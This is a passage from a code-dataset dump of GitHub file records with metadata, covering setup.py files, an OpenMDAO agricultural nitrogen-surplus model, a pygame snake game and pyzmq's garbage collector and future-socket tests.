[\"125 Lincoln St\", \"West Village\"],\n \"city\": \"New York\",\n \"state\": \"NYC\"\n }\n },\n {\n \"name\": \"Harry\",\n \"age\": 40,\n \"address\": {\n \"street\": [\"50 Vinci Lane\", \"\"],\n \"city\": \"San Fransisco\",\n \"state\": \"CA\"\n }\n }\n ]\"\"\"\n\n\n@pytest.fixture\ndef list_of_lists_json():\n return \"\"\"[\n [1,2,3,4,5,6,7,8,9,10],\n [2,4,6,8,10,12,14,16,18,20],\n [3,6,9,12,15,18,21,24,27,30]\n ]\"\"\"\n", "id": "3314371", "language": "Python", "matching_score": 0.030993308871984482, "max_stars_count": 3, "path": "tests/conftest.py" }, { "content": "#!/usr/bin/env python\nfrom setuptools import setup\nfrom setuptools.command.develop import develop\nfrom setuptools.command.install import install\n\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, \"README.rst\")) as f:\n long_description = f.read()\n\n\ndef _post_install():\n \"\"\"Post installation nltk corpus downloads.\"\"\"\n import nltk\n\n nltk.download(\"words\")\n nltk.download(\"stopwords\")\n\n\nclass PostDevelop(develop):\n \"\"\"Post-installation for development mode.\"\"\"\n\n def run(self):\n develop.run(self)\n self.execute(_post_install, [], msg=\"Running post installation tasks\")\n\n\nclass PostInstall(install):\n \"\"\"Post-installation for production mode.\"\"\"\n\n def run(self):\n install.run(self)\n self.execute(_post_install, [], msg=\"Running post installation tasks\")\n\n\nsetup(\n # Name of the module\n name=\"gitsuggest\",\n # Details\n version=\"0.0.13\",\n description=\"A tool to suggest github repositories based on the\"\n + \" repositories you have shown interest in.\",\n long_description=long_description,\n # The project's main homepage.\n url=\"https://github.com/csurfer/gitsuggest\",\n # Author details\n author=\"<NAME>\",\n author_email=\"<EMAIL>\",\n # License\n license=\"MIT\",\n packages=[\"gitsuggest\"],\n # NOTE: Package data to be included both in MANIFEST.in and here for sdist\n # to consider it to put in package (MANIFEST) and for setuptools to copy\n # it over (package_data).\n package_dir={\"gitsuggest\": \"gitsuggest\"},\n package_data={\"gitsuggest\": [\"res/*\", \"gitlang/*\"]},\n entry_points={\n \"console_scripts\": [\"gitsuggest=gitsuggest.commandline:main\"]\n },\n test_suite=\"tests\",\n keywords=\"github repository suggestion\",\n classifiers=[\n # Intended Audience.\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Education\",\n # License.\n \"License :: OSI Approved :: MIT License\",\n # Project maturity.\n \"Development Status :: 3 - Alpha\",\n # Operating Systems.\n \"Operating System :: POSIX\",\n # Supported Languages.\n \"Programming Language :: Python :: 2.7\",\n \"Programming Language :: Python :: 3.4\",\n \"Programming Language :: Python :: 3.5\",\n \"Programming Language :: Python :: 3.6\",\n # Topic tags.\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n install_requires=[\"gensim\", \"PyGithub\", \"nltk\", \"crayons\", \"jinja2\"],\n cmdclass={\"develop\": PostDevelop, \"install\": PostInstall},\n)\n", "id": "7969363", "language": "Python", "matching_score": 6.362569808959961, "max_stars_count": 712, "path": "setup.py" }, { "content": "#!/usr/bin/env python\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\nfrom os import path\nfrom typing import Dict\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, \"README.rst\")) as f:\n long_description = f.read()\n\n# Get package and author details.\nabout: Dict[str, str] = {}\nwith open(path.join(here, \"ezread\", \"__version__.py\")) as f:\n exec(f.read(), about)\n\nsetup(\n # Name of the module\n name=\"ezread\",\n # Details\n version=about[\"__version__\"],\n description=about[\"__description__\"],\n long_description=long_description,\n # The project's main homepage.\n url=about[\"__url__\"],\n # Author details\n author=about[\"__author__\"],\n author_email=about[\"__author_email__\"],\n # License\n license=about[\"__license__\"],\n packages=[\"ezread\"],\n entry_points={\"console_scripts\": [\"ezread=ezread.commandline:main\"]},\n test_suite=\"tests\",\n keywords=\"python json csv\",\n classifiers=[\n # Intended Audience.\n \"Intended Audience :: Developers\",\n \"Intended Audience :: Education\",\n # License.\n \"License :: OSI Approved :: MIT License\",\n # Project maturity.\n \"Development Status :: 3 - Alpha\",\n # Operating Systems.\n \"Operating System :: POSIX\",\n # Supported Languages.\n \"Programming Language :: Python :: 3.6\",\n \"Programming Language :: Python :: 3.7\",\n # Topic tags.\n \"Topic :: Software Development :: Build Tools\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n)\n", "id": "12386199", "language": "Python", "matching_score": 5.160120487213135, "max_stars_count": 3, "path": "setup.py" }, { "content": "#!/usr/bin/env python\nfrom os import path\n\nfrom setuptools import setup\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the README file\nwith open(path.join(here, 'README.rst')) as f:\n long_description = f.read()\n\nsetup(\n # Name of the module\n name='blackcellmagic',\n # Details\n version='0.0.3',\n description='IPython wrapper to format cell using black.',\n long_description=long_description,\n # The project's main homepage.\n url='https://github.com/csurfer/blackcellmagic',\n # Author details\n author='<NAME>',\n author_email='<EMAIL>',\n # License\n license='MIT',\n py_modules=['blackcellmagic'],\n keywords='automation formatter yapf autopep8 pyfmt gofmt rustfmt IPython black jupyter',\n classifiers=[\n # Intended Audience.\n 'Intended Audience :: Developers',\n # Environment.\n 'Environment :: Console',\n # License.\n 'License :: OSI Approved :: MIT License',\n # Project maturity.\n 'Development Status :: 3 - Alpha',\n # Operating Systems.\n 'Operating System :: OS Independent',\n # Supported Languages.\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3 :: Only',\n # Topic tags.\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Topic :: Software Development :: Quality Assurance',\n ],\n install_requires=['black', 'jupyter'],\n)\n", "id": "12429080", "language": "Python", "matching_score": 4.934779167175293, "max_stars_count": 310, "path": "setup.py" } ]
2.371049
Yen-ChenLiu
[ { "content": "# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 16 15:37:12 2020\r\n\r\n@author: <NAME>\r\n\r\nIFEWs- Model-1\r\n\r\nThis code takes input variables and compute CN, MN, FN, GN, and nitrogen surplus in soil\r\n\r\nInput variables:\r\n y_c = Corn yield (busheles/Acres) \r\n y_s = Soy yield (busheles/Acres) \r\n RCN_c = Rate of commercial N (Corn) kg/ha\r\n RCN_s = Rate of commercial N (Soy) kg/ha\r\n Hog = Hogs/pigs population\r\n CAtt_B = Beef cattle population\r\n CAtt_M = Milk cattle population\r\n CAtt_O = Other cattle population\r\n \r\nOutput: Nitrogen surplus in soil (kg/ha) annual \r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport openmdao.api as om\r\n\r\ndef IFEW(x): \r\n \r\n class Agriculture(om.ExplicitComponent):\r\n \"\"\"\r\n Agriculture: Computes FN, GN, CN, P_corn\r\n \"\"\"\r\n def setup(self):\r\n # i/p \r\n self.add_input('y_c', val= 0) # Corn yield (busheles/Acres) \r\n self.add_input('y_soy', val= 0) # Soy yield (busheles/Acres) \r\n self.add_input('RCN_corn', val= 0) # rate of commercial N kg/ha\r\n self.add_input('RCN_soy', val= 0) # rate of commercial N kg/ha\r\n \r\n # o/p \r\n self.add_output('P_corn', val=1.0) # Corn production (busheles)\r\n self.add_output('P_soy', val=1.0) # Soy production (busheles)\r\n self.add_output('CN', val=1.0) # CN\r\n self.add_output('FN', val=1.0) # FN\r\n self.add_output('GN', val=1.0) # GN\r\n \r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n \"\"\"\r\n Evaluates P_corn, C_corn\r\n \"\"\" \r\n # 1 bushels/acre = 67.25 kg/ha\r\n \r\n y_c = inputs['y_c'] # corn yield bushels/acre\r\n y_soy = inputs['y_soy'] # corn yield bushels/acre\r\n \r\n RCN_corn = inputs['RCN_corn'] # kg/ha # rate of commercial N /ha\r\n RCN_soy = inputs['RCN_soy'] # kg/ha # rate of commercial N /ha\r\n \r\n A_corn = 13500 * 1e3 # Acres planted (acres) 2019 data\r\n A_soy = 9200 * 1e3 # Area planted (acres) 2019 data \r\n A = (A_corn + A_soy)\r\n \r\n outputs['P_corn'] = y_c * A_corn # bushels \r\n outputs['P_soy'] = y_soy * A_soy # bushels \r\n \r\n # (1 bushels/acre = 67.25 kg/ha)\r\n outputs['FN'] = (81.1 * (y_soy*67.25/1000) - 98.5)*A_soy / A # N kg\r\n \r\n outputs['GN'] = ((y_c*67.25)*(1.18/100) *A_corn + (y_soy*67.25)*(6.4/100)* A_soy )/A # N kg\r\n \r\n outputs['CN'] = (RCN_corn*A_corn + RCN_soy*A_soy )/ A\r\n \r\n \r\n class EtOH_Prod(om.ExplicitComponent):\r\n \"\"\"\r\n ETOH production\r\n \"\"\"\r\n def setup(self):\r\n \r\n # input\r\n self.add_input('P_corn_EtOH', val=1.0) # corn production for EtOH (bushels)\r\n \r\n # output \r\n self.add_output('P_EtOH', val=1.0) # Ethanol production (mil/gal)\r\n self.add_output('WC_EtOH', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n EtOH_Dry = 2.7 # gal EtOH/bushels (Dry grind mills)\r\n WCR = 3 # gal water / gal of Ethanol\r\n \r\n outputs['P_EtOH'] = inputs['P_corn_EtOH']*EtOH_Dry # gal od EtOH production \r\n outputs['WC_EtOH'] = outputs['P_EtOH'] * WCR\r\n \r\n \r\n class Animal_Ag(om.ExplicitComponent):\r\n \"\"\"\r\n Animal Agriculture: computes MN\r\n \"\"\"\r\n def setup(self):\r\n #input\r\n self.add_input('Catt', val=np.array([1.0, 1.0, 1.0]))\r\n self.add_input('Hog', val=1.0)\r\n \r\n # output\r\n self.add_output('MN', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n # life cycle days\r\n lf_Beef = 365 \r\n lf_Milk = 365 \r\n lf_HS = 365 # Heifer/steer\r\n lf_Slught_Catt = 170 # \r\n lf_Hog = 365\r\n \r\n # N kg /day per animal\r\n N_Beef = 0.15\r\n N_Milk = 0.204 \r\n N_HS = 0.1455 # Heifer/steer\r\n N_Slught_Catt = 0.104 # \r\n N_HOG = 0.027\r\n \r\n A_corn = 13500 * 1e3 # Acres planted (acres) 2019 data\r\n A_soy = 9200 * 1e3 # Area planted (acres) 2019 data \r\n A = (A_corn + A_soy)\r\n \r\n Catt_Beef = inputs['Catt'][0]\r\n Catt_Milk = inputs['Catt'][1]\r\n Catt_Othr = inputs['Catt'][2]\r\n \r\n Hog = inputs['Hog']\r\n \r\n Total_Catt_N = Catt_Beef*N_Beef*lf_Beef + Catt_Milk*N_Milk*lf_Milk + \\\r\n 0.5*Catt_Othr*N_HS*lf_HS + 0.5*Catt_Othr*N_Slught_Catt*lf_Slught_Catt\r\n \r\n Total_Hog_N = Hog * N_HOG * lf_Hog\r\n \r\n outputs['MN'] = (Total_Catt_N + Total_Hog_N)/A # N kg/ha\r\n \r\n \r\n class N_surplus(om.ExplicitComponent):\r\n \"\"\"\r\n Nitrogen surplus in soil\r\n \"\"\"\r\n def setup(self):\r\n # input \r\n self.add_input('MN', val=1.0)\r\n self.add_input('FN', val=1.0)\r\n self.add_input('GN', val=1.0)\r\n self.add_input('CN', val=1.0)\r\n \r\n # output\r\n self.add_output('N_surplus', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs): \r\n outputs['N_surplus'] = (inputs['CN'] + inputs['MN'] + inputs['FN'] - inputs['GN'] ) # N kg/ha\r\n \r\n \r\n \r\n class Demand_Corn(om.ExplicitComponent):\r\n \"\"\"\r\n Constraint 1 - used for future calculations\r\n \"\"\"\r\n def setup(self):\r\n # input \r\n self.add_input('P_corn', val=1.0)\r\n self.add_input('P_corn_EtOH', val=1.0)\r\n self.add_input('D_Corn', val=1.0)\r\n \r\n # output\r\n self.add_output('const1', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n \r\n outputs['const1'] = inputs['D_Corn'] - (inputs['P_corn'] - inputs['P_corn_EtOH'] )\r\n \r\n \r\n class Demand_EtOH(om.ExplicitComponent):\r\n \"\"\"\r\n Constraint 2 - used for future calculations\r\n \"\"\"\r\n def setup(self):\r\n # input\r\n self.add_input('P_EtOH', val=1.0)\r\n self.add_input('D_EtOH', val=1.0)\r\n \r\n # output\r\n self.add_output('const2', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n \r\n outputs['const2'] = inputs['D_EtOH'] - inputs['P_EtOH']\r\n \r\n \r\n class Demand_FP(om.ExplicitComponent):\r\n \"\"\"\r\n Constraint 3 - used for future calculations\r\n \"\"\"\r\n def setup(self):\r\n # input\r\n self.add_input('D_catt_meat', val=1.0)\r\n self.add_input('D_Hog', val=1.0)\r\n \r\n self.add_input('Catt', val=np.array([1.0, 1.0, 1.0]))\r\n self.add_input('Hog', val=1.0)\r\n \r\n # output \r\n self.add_output('const3', val=1.0)\r\n self.add_output('const4', val=1.0)\r\n \r\n # Finite difference all partials.\r\n self.declare_partials('*', '*', method='fd')\r\n \r\n def compute(self, inputs, outputs):\r\n \r\n Catt_Beef = inputs['Catt'][0]\r\n Catt_Othr = inputs['Catt'][2]\r\n \r\n outputs['const3'] = inputs['D_catt_meat'] - ( Catt_Beef + 0.5 * Catt_Othr)\r\n outputs['const4'] = inputs['D_Hog'] - inputs['Hog']\r\n \r\n \r\n \r\n class SellarMDA(om.Group):\r\n \"\"\"\r\n Group containing the Sellar MDA.\r\n \"\"\"\r\n def setup(self):\r\n \r\n # Design variables\r\n indeps = self.add_subsystem('indeps', om.IndepVarComp(), promotes=['*'])\r\n \r\n indeps.add_output('w', np.ones(6)) \r\n \r\n indeps.add_output('y_c', 1)\r\n indeps.add_output('y_soy', 1)\r\n indeps.add_output('RCN_corn', 1)\r\n indeps.add_output('RCN_soy', 1)\r\n \r\n \r\n indeps.add_output('P_corn_EtOH', 10e6) \r\n indeps.add_output('Catt', np.ones(3))\r\n indeps.add_output('Hog', 1) \r\n \r\n indeps.add_output('D_EtOH', 1e6) \r\n indeps.add_output('D_Corn', 20000) \r\n indeps.add_output('D_catt_meat',10)\r\n indeps.add_output('D_Hog',10)\r\n \r\n # Connections \r\n self.add_subsystem('Agriculture', Agriculture(), promotes_inputs=['y_c','y_soy','RCN_corn'], promotes_outputs=['CN', 'GN', 'FN','P_corn'])\r\n self.add_subsystem('EtOH_Prod', EtOH_Prod(), promotes_inputs=['P_corn_EtOH'], promotes_outputs=['P_EtOH','WC_EtOH']) \r\n self.add_subsystem('Animal_Ag', Animal_Ag(), promotes_inputs=['Catt','Hog'], promotes_outputs=['MN'])\r\n \r\n # Objective function\r\n self.add_subsystem('Obj', N_surplus(), promotes_inputs=['CN', 'GN', 'FN', 'MN'], promotes_outputs = ['N_surplus'])\r\n \r\n \r\n # Constraints function\r\n self.add_subsystem('con_Demand_Corn', Demand_Corn(), promotes_inputs=['D_Corn','P_corn','P_corn_EtOH'],promotes_outputs=['const1'])\r\n self.add_subsystem('con_Demand_EtOH', Demand_EtOH(), promotes_inputs=['P_EtOH','D_EtOH'], promotes_outputs=['const2'])\r\n self.add_subsystem('con_Demand_FP', Demand_FP(), promotes_inputs=['D_catt_meat', 'D_Hog', 'Catt','Hog'], promotes_outputs=['const3','const4'])\r\n \r\n \r\n \r\n prob = om.Problem()\r\n prob.model = SellarMDA()\r\n \r\n prob.model.add_objective('N_surplus')\r\n \r\n # Add constraint \r\n prob.model.add_constraint('const1', upper=0 )\r\n prob.model.add_constraint('const2', upper=0)\r\n prob.model.add_constraint('const3', upper=0)\r\n prob.model.add_constraint('const4', upper=0)\r\n \r\n prob.setup()\r\n \r\n # weather parameter (used in future)\r\n # w16 = np.array([2020, 57, 75, 1.1, 1.3, 1.55]) \r\n # prob.set_val('indeps.w', w16)\r\n \r\n prob.set_val('indeps.D_EtOH', 4350*1e6) # mil gal\r\n prob.set_val('indeps.D_Corn', 100*1e6) # bushels\r\n prob.set_val('indeps.D_catt_meat', 1e5) # bushels\r\n prob.set_val('indeps.D_Hog', 10e5) # bushels\r\n \r\n prob.set_val('indeps.y_c', x[0]) # bushels/acre\r\n prob.set_val('indeps.y_soy', x[1]) # bushels/acre\r\n prob.set_val('indeps.RCN_corn', x[2]) # kg/ha\r\n prob.set_val('indeps.RCN_soy', x[3]) # kg/ha\r\n \r\n prob.set_val('indeps.Hog', x[4]) \r\n catt_p = np.array(x[5:])\r\n prob.set_val('indeps.Catt', catt_p ) \r\n \r\n\r\n \r\n prob.run_model()\r\n \r\n print('\\n Agriculture ----------------------------')\r\n print('y_c (bu/acre)=',prob['y_c'][0])\r\n print('P_corn (bu) =',prob['P_corn'][0])\r\n print('y_soy (bu/acre)=',prob['y_soy'][0])\r\n \r\n print('\\n EtOH Production ----------------------------')\r\n print('P_EtOH (gal) =',prob['P_EtOH'][0])\r\n print('P_corn_EtOH (bu) =',prob['P_corn_EtOH'][0])\r\n print('WC_EtOH (gal) =',prob['WC_EtOH'][0])\r\n #\r\n print('\\n Animal Ag ----------------------------')\r\n print('Catt (population)=',prob['Catt'])\r\n print('Hog (population)=',prob['Hog'][0])\r\n \r\n print('\\n N_surplus ----------------------------')\r\n print('MN (kg/ha)=',prob['MN'][0])\r\n print('CN (kg/ha)=',prob['CN'][0])\r\n print('FN (kg/ha)=',prob['FN'][0])\r\n print('GN (kg/ha)=',prob['GN'][0])\r\n print('N_surplus (kg/ha)=',prob['N_surplus'][0])\r\n \r\n #\r\n print('\\n Constraint (used for future calculations) ----------')\r\n print('const1 : con_Demand_Corn ',prob['const1'])\r\n print('const2 : con_Demand_EtOH',prob['const2'])\r\n print('const3 : con_Demand_FP_Catt',prob['const3'])\r\n print('const4 : con_Demand_FP_Hog',prob['const4'])\r\n \r\n return prob['N_surplus'][0]\r\n\r\n\r\nif __name__ == '__main__':\r\n \r\n ## input variables\r\n ## [ y_c , y_s, RCN_c, RCN_s, Hog , CAtt_B , CAtt_M , CAtt_O]\r\n x = np.array([203 , 45 , 193 , 21 , 18*1e6, 773914 , 316411 , 1090324])\r\n \r\n N_surplus = IFEW(x)\r\n \r\n print('\\n N_surplus (kg/ha)', N_surplus)", "id": "3066224", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "Codes/IFEWs_Model_v0/IFEWs_model_v0.py" } ]
0
sharath-111
[ { "content": "import pygame\nimport sys, random\n\nFPS = 15\nPIXEL_SIZE = 20\nINITIAL_SNAKE_LENGTH = 3\nHORIZONTAL_SIZE = 600\nVERTICAL_SIZE = 500\nWHITE = (255, 255, 255)\nBLACK = (0, 0, 0)\nDARKGREY = (40, 40, 40)\nBLUE = (0, 0, 255)\nASH = (70, 75, 71)\nGREEN = (0, 255, 0)\nRIGHT = 'right'\nLEFT = 'left'\nUP = 'up'\nDOWN = 'down'\n\ndef main():\n global DISPLAY_SURF, GAMECLOCK\n pygame.init()\n DISPLAY_SURF = pygame.display.set_mode((HORIZONTAL_SIZE, VERTICAL_SIZE), 0, 32)\n GAMECLOCK = pygame.time.Clock()\n pygame.display.set_caption(\"Snake The Game\")\n DISPLAY_SURF.fill(DARKGREY)\n Restart = True\n while Restart:\n RunGame()\n RestartText()\n pygame.time.wait(5000)\n\ndef RestartText():\n Font = pygame.font.Font('freesansbold.ttf', 10)\n restart_surf = Font.render(\"Restarting in 5 seconds\", True, GREEN)\n restart_surf_rect = restart_surf.get_rect()\n DISPLAY_SURF.fill(DARKGREY)\n DISPLAY_SURF.blit(restart_surf, restart_surf_rect)\n pygame.display.update()\n\ndef RunGame():\n snake_body = []\n dir = RIGHT\n xpos = (HORIZONTAL_SIZE/2 // PIXEL_SIZE)*PIXEL_SIZE\n ypos = (VERTICAL_SIZE/2 //PIXEL_SIZE)*PIXEL_SIZE\n snake_head = (xpos, ypos)\n # create initial snake\n for i in range(INITIAL_SNAKE_LENGTH-1, -1, -1):\n snake_body.append((snake_head[0] - i*PIXEL_SIZE, snake_head[1]))\n # create random insect\n insect_pos = GetRandomInsectPosition(snake_body)\n while True:\n if dir == RIGHT:\n xpos = xpos + PIXEL_SIZE if xpos < HORIZONTAL_SIZE - PIXEL_SIZE else 0\n elif dir == LEFT:\n xpos = xpos - PIXEL_SIZE if xpos >= PIXEL_SIZE else HORIZONTAL_SIZE - PIXEL_SIZE\n elif dir == DOWN:\n ypos = ypos + PIXEL_SIZE if ypos < VERTICAL_SIZE - PIXEL_SIZE else 0\n elif dir == UP:\n ypos = ypos - PIXEL_SIZE if ypos >= PIXEL_SIZE else VERTICAL_SIZE - PIXEL_SIZE\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n if dir != DOWN and (event.key == pygame.K_UP or event.key == pygame.K_w):\n dir = UP\n elif dir != UP and (event.key == pygame.K_DOWN or event.key == pygame.K_s):\n dir = DOWN\n elif dir != RIGHT and (event.key == pygame.K_LEFT or event.key == pygame.K_a):\n dir = LEFT\n elif dir != LEFT and (event.key == pygame.K_RIGHT or event.key == pygame.K_d):\n dir = RIGHT\n if (xpos, ypos) in snake_body:\n Bold_Font = pygame.font.Font('freesansbold.ttf', 20)\n GameOver_Surf = Bold_Font.render(\"Game Over! score: %s\" % str(len(snake_body) - INITIAL_SNAKE_LENGTH), True, GREEN)\n GameOver_Surf_Rect = GameOver_Surf.get_rect()\n GameOver_Surf_Rect.topleft = (HORIZONTAL_SIZE/3, VERTICAL_SIZE/2)\n DISPLAY_SURF.blit(GameOver_Surf, GameOver_Surf_Rect)\n pygame.display.update()\n pygame.time.wait(1000)\n return\n snake_head = (xpos, ypos)\n snake_body.append(snake_head)\n if insect_pos == snake_head:\n insect_pos = GetRandomInsectPosition(snake_body)\n insect_dead = pygame.mixer.Sound('beep1.ogg')\n insect_dead.play()\n else:\n snake_body = snake_body[1:] # Remove tail\n DISPLAY_SURF.fill(DARKGREY)\n # DrawGrid()\n for body_pix in snake_body:\n pygame.draw.rect(DISPLAY_SURF, GREEN, (body_pix[0], body_pix[1], PIXEL_SIZE, PIXEL_SIZE))\n pygame.draw.rect(DISPLAY_SURF, WHITE, (insect_pos[0], insect_pos[1], PIXEL_SIZE, PIXEL_SIZE))\n\n normal_font = pygame.font.Font('freesansbold.ttf', 18)\n score_surf = normal_font.render('Score: %s' % (len(snake_body) - INITIAL_SNAKE_LENGTH), True, BLUE)\n score_rect = score_surf.get_rect()\n score_rect.topleft = (HORIZONTAL_SIZE - 100, 10)\n DISPLAY_SURF.blit(score_surf, score_rect)\n\n pygame.display.update()\n GAMECLOCK.tick(FPS)\n\ndef DrawGrid():\n for num in range(0, HORIZONTAL_SIZE + PIXEL_SIZE, PIXEL_SIZE):\n pygame.draw.line(DISPLAY_SURF, ASH, (num, 0), (num, VERTICAL_SIZE))\n for num in range(0, VERTICAL_SIZE + PIXEL_SIZE, PIXEL_SIZE):\n pygame.draw.line(DISPLAY_SURF, ASH, (0, num), (HORIZONTAL_SIZE, num))\n\ndef GetRandomInsectPosition(SnakeBody):\n x = random.randrange(0, HORIZONTAL_SIZE, PIXEL_SIZE)\n y = random.randrange(0, VERTICAL_SIZE, PIXEL_SIZE)\n (x, y) = (x, y) if (x, y) not in SnakeBody else GetRandomInsectPosition(SnakeBody)\n return (x,y)\n\nif __name__ == '__main__':\n main()", "id": "4475941", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "snake.py" } ]
0
codebergau
[ { "content": "\"\"\"Garbage collection thread for representing zmq refcount of Python objects\nused in zero-copy sends.\n\"\"\"\n\n# Copyright (C) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\n\nimport atexit\nimport struct\n\nfrom os import getpid\nfrom collections import namedtuple\nfrom threading import Thread, Event, Lock\nimport warnings\n\nimport zmq\n\n\ngcref = namedtuple('gcref', ['obj', 'event'])\n\nclass GarbageCollectorThread(Thread):\n \"\"\"Thread in which garbage collection actually happens.\"\"\"\n def __init__(self, gc):\n super(GarbageCollectorThread, self).__init__()\n self.gc = gc\n self.daemon = True\n self.pid = getpid()\n self.ready = Event()\n \n def run(self):\n # detect fork at beginning of the thread\n if getpid is None or getpid() != self.pid:\n self.ready.set()\n return\n try:\n s = self.gc.context.socket(zmq.PULL)\n s.linger = 0\n s.bind(self.gc.url)\n finally:\n self.ready.set()\n \n while True:\n # detect fork\n if getpid is None or getpid() != self.pid:\n return\n msg = s.recv()\n if msg == b'DIE':\n break\n fmt = 'L' if len(msg) == 4 else 'Q'\n key = struct.unpack(fmt, msg)[0]\n tup = self.gc.refs.pop(key, None)\n if tup and tup.event:\n tup.event.set()\n del tup\n s.close()\n\n\nclass GarbageCollector(object):\n \"\"\"PyZMQ Garbage Collector\n \n Used for representing the reference held by libzmq during zero-copy sends.\n This object holds a dictionary, keyed by Python id,\n of the Python objects whose memory are currently in use by zeromq.\n \n When zeromq is done with the memory, it sends a message on an inproc PUSH socket\n containing the packed size_t (32 or 64-bit unsigned int),\n which is the key in the dict.\n When the PULL socket in the gc thread receives that message,\n the reference is popped from the dict,\n and any tracker events that should be signaled fire.\n \"\"\"\n \n refs = None\n _context = None\n _lock = None\n url = \"inproc://pyzmq.gc.01\"\n \n def __init__(self, context=None):\n super(GarbageCollector, self).__init__()\n self.refs = {}\n self.pid = None\n self.thread = None\n self._context = context\n self._lock = Lock()\n self._stay_down = False\n atexit.register(self._atexit)\n \n @property\n def context(self):\n if self._context is None:\n if Thread.__module__.startswith('gevent'):\n # gevent has monkey-patched Thread, use green Context\n from zmq import green\n self._context = green.Context()\n else:\n self._context = zmq.Context()\n return self._context\n \n @context.setter\n def context(self, ctx):\n if self.is_alive():\n if self.refs:\n warnings.warn(\"Replacing gc context while gc is running\", RuntimeWarning)\n self.stop()\n self._context = ctx\n \n def _atexit(self):\n \"\"\"atexit callback\n \n sets _stay_down flag so that gc doesn't try to start up again in other atexit handlers\n \"\"\"\n self._stay_down = True\n self.stop()\n \n def stop(self):\n \"\"\"stop the garbage-collection thread\"\"\"\n if not self.is_alive():\n return\n self._stop()\n \n def _stop(self):\n push = self.context.socket(zmq.PUSH)\n push.connect(self.url)\n push.send(b'DIE')\n push.close()\n self.thread.join()\n self.context.term()\n self.refs.clear()\n self.context = None\n \n def start(self):\n \"\"\"Start a new garbage collection thread.\n \n Creates a new zmq Context used for garbage collection.\n Under most circumstances, this will only be called once per process.\n \"\"\"\n if self.thread is not None and self.pid != getpid():\n # It's re-starting, must free earlier thread's context\n # since a fork probably broke it\n self._stop()\n self.pid = getpid()\n self.refs = {}\n self.thread = GarbageCollectorThread(self)\n self.thread.start()\n self.thread.ready.wait()\n \n def is_alive(self):\n \"\"\"Is the garbage collection thread currently running?\n \n Includes checks for process shutdown or fork.\n \"\"\"\n if (getpid is None or\n getpid() != self.pid or\n self.thread is None or\n not self.thread.is_alive()\n ):\n return False\n return True\n \n def store(self, obj, event=None):\n \"\"\"store an object and (optionally) event for zero-copy\"\"\"\n if not self.is_alive():\n if self._stay_down:\n return 0\n # safely start the gc thread\n # use lock and double check,\n # so we don't start multiple threads\n with self._lock:\n if not self.is_alive():\n self.start()\n tup = gcref(obj, event)\n theid = id(tup)\n self.refs[theid] = tup\n return theid\n \n def __del__(self):\n if not self.is_alive():\n return\n try:\n self.stop()\n except Exception as e:\n raise (e)\n\ngc = GarbageCollector()\n", "id": "5661144", "language": "Python", "matching_score": 1.632215142250061, "max_stars_count": 4, "path": "tests/build/virtualenv/lib/python2.7/site-packages/zmq/utils/garbage.py" }, { "content": "# coding: utf-8\n# Copyright (c) PyZMQ Developers\n# Distributed under the terms of the Modified BSD License.\n\nfrom datetime import timedelta\nimport os\n\nimport pytest\ngen = pytest.importorskip('tornado.gen')\n\nimport zmq\nfrom zmq.eventloop import future\nfrom zmq.eventloop.ioloop import IOLoop\nfrom zmq.utils.strtypes import u\n\nfrom zmq.tests import BaseZMQTestCase\n\nclass TestFutureSocket(BaseZMQTestCase):\n Context = future.Context\n \n def setUp(self):\n self.loop = IOLoop()\n self.loop.make_current()\n super(TestFutureSocket, self).setUp()\n \n def tearDown(self):\n super(TestFutureSocket, self).tearDown()\n self.loop.close(all_fds=True)\n \n def test_socket_class(self):\n s = self.context.socket(zmq.PUSH)\n assert isinstance(s, future.Socket)\n s.close()\n\n def test_recv_multipart(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f = b.recv_multipart()\n assert not f.done()\n yield a.send(b'hi')\n recvd = yield f\n self.assertEqual(recvd, [b'hi'])\n self.loop.run_sync(test)\n\n def test_recv(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f1 = b.recv()\n f2 = b.recv()\n assert not f1.done()\n assert not f2.done()\n yield a.send_multipart([b'hi', b'there'])\n recvd = yield f2\n assert f1.done()\n self.assertEqual(f1.result(), b'hi')\n self.assertEqual(recvd, b'there')\n self.loop.run_sync(test)\n\n def test_recv_cancel(self):\n @gen.coroutine\n def test():\n a, b = self.create_bound_pair(zmq.PUSH, zmq.PULL)\n f1 = b.recv()\n f2 = b.recv_multipart()\n assert f1.cancel()\n assert f1.done()\n assert not f2.done()\n yield a.send_multipart([b'hi', b'there'])\n recvd = yield f2\n assert f1.cancelled()\n assert f2.done()\n self.assertEqual(recvd, [b'hi', b'there'])\n 